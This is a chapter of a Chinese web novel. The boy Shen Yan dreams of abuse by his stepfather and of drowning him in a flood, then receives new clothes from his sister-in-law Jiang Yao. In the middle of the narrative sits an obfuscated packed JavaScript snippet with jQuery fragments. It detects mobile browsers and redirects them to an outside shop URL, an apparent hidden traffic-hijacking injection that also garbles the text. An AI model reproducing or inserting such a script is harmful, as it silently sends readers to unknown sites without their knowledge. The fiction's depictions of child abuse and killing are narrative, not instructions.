是梦，也是记忆。
鞭子撕开皮肉的声音炸在头顶，豁了口的粗瓷碗掉落在地，馊饭滚的到处都是。
“让你偷吃，让你偷吃！打死你个小杂种！”
鞭子一下接一下，落在背上，腿上，沈砚蜷缩起身体，用双臂死死护住头脸。
这是无数次挨打后身体学会的本能。
“叫啊，怎么不叫！”头顶是继父暴怒的喘息，“狼崽子，别以为我不知道你心里想什么！是不是在咒老子？呸，看老子今天不打死你！”
沈砚死死咬住手腕，不发出一点声音，用这近乎自残的方式来抵御背后撕裂的痛楚，冷汗像瀑布一样滚落在地。
他恨，恨自己这具身体为什么如此瘦弱无力，恨自己为何不能快点长大。
散乱汗湿的头发缝隙里，娘抱着弟弟就站在灶房门口，见他看过来，匆忙避开视线，走远了些。
沈砚咬着牙，把涌到喉咙口的血沫子混合那点可笑期待，一并咽回肚子。
他会记住的。
他会死死记住。
他挨的每一鞭，流的每一滴血，终有一日，会千倍万倍地讨回来！
继父终于打累了，手里染着血的鞭子随手一扔，走到桌边，抱起那半坛劣酒，仰头猛灌。
酒水顺着下巴和脖颈淌下来，浸湿了脏污的衣襟。
“又输了？”娘的声音从里屋传来，小心翼翼的。
“别提了，晦气！”继父把酒坛子重重顿在桌上，抹了把嘴，“那帮杀才肯定出了老千，明日再去，绝对能翻本！”
一吊钱被扔在面前，男人说：“去，打壶新酒回来。”
沈砚如蒙大赦，连滚带爬地窜出了门，跑着跑着却又停下，蹑手蹑脚折返，躲在院墙底下偷听。
院墙内，继父正在和娘说话。
“昨儿个，村里王屠户跟我透了点风，他认识个路子野的牙子，一个孩子，能给这个数。”男人比划了一下。
娘惊呼：“这么多，是去做什么？”
“说是南边新开了个销金窟，专收皮相好的少年，那狼崽子养着也是浪费粮食，看我时眼神总阴恻恻的，老子早瞧他不顺眼了，不如卖了换些钱。”
男人又嘱咐：“相看的人今晚就来，你赶紧的，等回来给他洗个澡，换件新褂子，听见没有？”
沈砚的亲爹是十里八乡出了名的美男子，沈砚随他，生着副顶好的皮囊，女人倒不怕他落选，只好奇：“哪家窑子还收男的？”
继父嗤笑她不懂行情：“有些有钱老爷就好这一口，有的甚至专门搜罗养在私宅里，叫什么什么‘兔儿爷’？反正，他们肯出钱，咱们只管卖就是！”
顿了顿，他试探：“你不会舍不得吧，毕竟是你亲儿子。”
娘说：“你是我夫君，都听你的。”
沈砚背脊紧贴着冰冷的土墙，死死咬牙，指尖在墙皮上抠出道道血痕。
一股一股混杂着恶心、寒意和讽刺的浪潮，冲撞着他的胸口，他只能对着墙根无声干呕。
当夜他就起了风疹，满脸满身鼓胀着水泡，人牙子提着灯一照，当场啐了口浓痰，骂骂咧咧。
可那人不肯白跑，最后夺走了襁褓里尚在啼哭的弟弟，抵了债。
娘为此恨毒了他，继父倒是照旧赌钱喝酒，他们也怀疑过是沈砚做了手脚，却苦无证据。
日子一天天过，打骂愈演愈烈。
沈砚知道，再待下去，不是被打死就是被饿死，他得逃走，只是没想到机会来的那样快。
半夜，雷声混着轰隆水响撞碎了村庄，洪水滔天，到处都是哭喊的人。
沈砚浑身是伤，被吊在屋后树上，浑浊的浪头扑过来时，他借着水势挣断了绳子，抱住了漂来的门板。
娘不见踪影，继父在不远处扑腾，看见他，那双被吓破胆的眼睛里爆出骇人的光。
“砚儿！这边！来，拉爹一把！爹以后保证再不打你了，救救爹……”
沈砚在翻滚的浊浪里看着他，脸上没什么表情。
继父拼命划水靠近，嘴里是颠来倒去的求饶和许诺，可就在那双湿漉漉的手，碰到门板边缘的刹那，一根木棍狠狠扎进了他的后脑勺。
男人被摁在水底，扑腾的水花打湿了沈砚的半身，一股又一股的血液从头顶涌出来，很快被洪水冲散。
水泡冒出的速度越来越慢，直到再无动静，沈砚才松手。
继父鼓胀的尸体像破败的皮囊从水底冒出，一个浪头过来，将他推远，浮浮沉沉，再看不见。
………
梦境交织，反复撕扯，等沈砚睁开眼，天光已大亮。
他罕见的起晚了。
堂屋里静悄悄的，只有灶膛方向传来锅勺碰撞的动静，食物温热的香气，丝丝缕缕飘过来。
姜窈已经起来了，早饭似乎都做好了。
不安与慌乱从心中蹿起，瞬间驱散了残存的睡意。
沈砚几乎是从床上弹起来的，动作快得带起一阵冷风。
她会不会觉得他偷懒？会不会认为他得寸进尺，开始懈怠？
会不会后悔留下他？
等手忙脚乱穿好衣物，走出堂屋，沈砚的脚步却生生一顿。
姜窈背对着他，正在灶台边忙碌，她今日很不一样。
一件海棠红交领短襦，配着条深青棉裙，乌黑的头发在脑后松松挽了个髻，用银簪固定，几缕柔软碎发从耳后垂落，随着她的动作微微晃动。
袖口露出的一截手腕，在晨光里白得晃眼。
沈砚视线在那抹艳色上停留了一瞬，便飞快垂下，只盯着脚下自己的影子。
“醒了？”姜窈听到动静，回过头，脸上带着惯常的温和，并无半点责备他起晚的意思，“快去擦把脸，饭好了。”
沈砚点头，默默走到水缸边，舀水洗漱。
桌上已经摆好了碗筷，两碗小米粥，一小碟咸菜，还有两个掺了粗粮的窝头，姜窈拿起一个递过去。
沈砚接过，指尖不小心碰到她微温的指尖，几不可察地缩了一下。
窝头沉甸甸，热乎乎，他三两下就吃完了，低头将粥一饮而尽，起身准备收拾。
姜窈叫住他：“阿砚，我今日要去镇上集市一趟，可能要到很晚才回来。”
她嘱托，事无巨细：“锅里的粥温在灶上，里头还有给你留的午饭，囡囡留在家里，托你照看了，若她饿了，就喂她些米汤。”
沈砚拿着碗筷的手顿了顿，她今日这身打扮，原是为了去镇上。
他点点头：“好，嫂子路上小心。”
姜窈又道：“你若遇上什么难事，就去隔壁寻王家婶子，让她搭把手，知道了吗？”
“好。”沈砚又应一声。
见他乖巧，姜窈浅浅一笑，放下碗，起身走回炕边。
阿囡睡得正熟，她不舍地把女儿的柔软脸蛋亲了又亲，仔细掖了掖被角，这才从炕头挽起一只叠得方正正的蓝布包袱。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468397|201346||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“对了，”她转身，像是想起什么，“衣裳给你改好了，就在里屋你去试试，看合不合身。若大了或者小了，嫂嫂回来再给你调。”
沈砚依言走进里屋，里头的炭火还没完全熄灭，余烬在灰白色的柴灰下透出暗红的光。
空气中，弥漫着皂角味，还有一丝似有若无的女子体香。
床榻上摆着一件靛蓝色的粗布短褐，看得出是旧衣改的，但每一处都处理得极仔细，沈砚伸手摸了摸，料子柔软服帖，旁边还摆了一双崭新的布鞋。
他顿了顿，才脱下自己脚上不合脚的草鞋，没敢往塌上坐，就靠着墙，小心翼翼地将脚套进新鞋里。
不大不小，不松不紧，鞋底柔软却有力地将他的脚掌稳稳托住，冬日凛冽的寒气被彻底隔绝在外。
一双合脚新鞋。
特意做给他的。
这个认知让沈砚冷硬的心泛起一丝酸软。从小到大，他从未有过一双完全合脚的鞋。都是捡别人穿剩的，更多的时候，他都是光着脚。
所以他的脚下，全是难看的旧疤和老茧。
衣服也出奇的合身，沈砚注意到，在袖口领角这些不易被看到的地方，姜窈还细心绣了兰草作装饰。
铜镜里照出焕然一新的自己，一种陌生到近乎轻盈的感觉，从包裹的四肢升起。
沈砚忍不住抬手，极轻地抚平衣襟上那一点点，因为动作而产生的褶皱，又弯腰，仔细将裤腿拉直。
每一个动作都带着一种近乎笨拙，珍而重之的小心。
院门“吱呀”一声，然后是踩在积雪上的声音渐行渐远，沈砚一怔，几步跨到门边，掀开门帘，朝外冲去。
可还是晚了一步。
积雪未化的长道上，那抹身影已经走出一段距离。
沈砚站在檐下呼啸的寒风里，一动不动。
他想说“嫂嫂，真合身”，他想说“谢谢嫂嫂”，“还有鞋很暖和”，他想说很多，很多很多。
可那些话最终都哽在喉咙，随着那个红点的缩小，一点点沉下去，变成心底一片空落落的怅然。
“呜哇——”
里屋里，传来孩子的哭声，沈砚抱起小脸憋的通红的阿囡，一眼便看出她是返奶了。
沈砚虽未刻意学过，但这些日子在姜窈身边，也看了个大概，再加上早年照顾弟弟时的经验，他动作娴熟的在小娃娃的脊背上轻拍。
很快，一点乳白色的奶液伴随着奶嗝，从囡囡嘴角溢出。
沈砚几乎是毫不犹豫地抬起袖口去擦，然而，在看到那崭新干净的靛蓝袖口时，动作又猛地顿住。
他飞快收回了手，转而用自己的指尖轻轻抹去，毫不在意地蹭在手背上。
阿囡舒服了些，抽噎声渐止，睁着湿漉漉的大眼睛，迷茫地看着眼前的人影，小嘴无意识地嚅动了两下。
沈砚没有立刻将她放回炕上，就这么半跪在炕沿边，手臂保持着托举的姿势，低着头，静静地看着臂弯里睡熟的婴孩。
阿囡和姜窈一样，生的极白，眼睛也像，大而圆，黑白分明，睫毛长如羽扇，其他地方却不怎么像。
应该是随她父亲吧。
沈砚没见过那位早亡的族兄，只在继父嘴里听过只言片语。
说沈明轩天生神童，七岁便能诗，更是生得一副极好的相貌，风度翩翩，貌比潘安。
从前，继父也说过他生了一副招祸的皮相，只是不知他与那位族兄相比。
究竟谁更好看。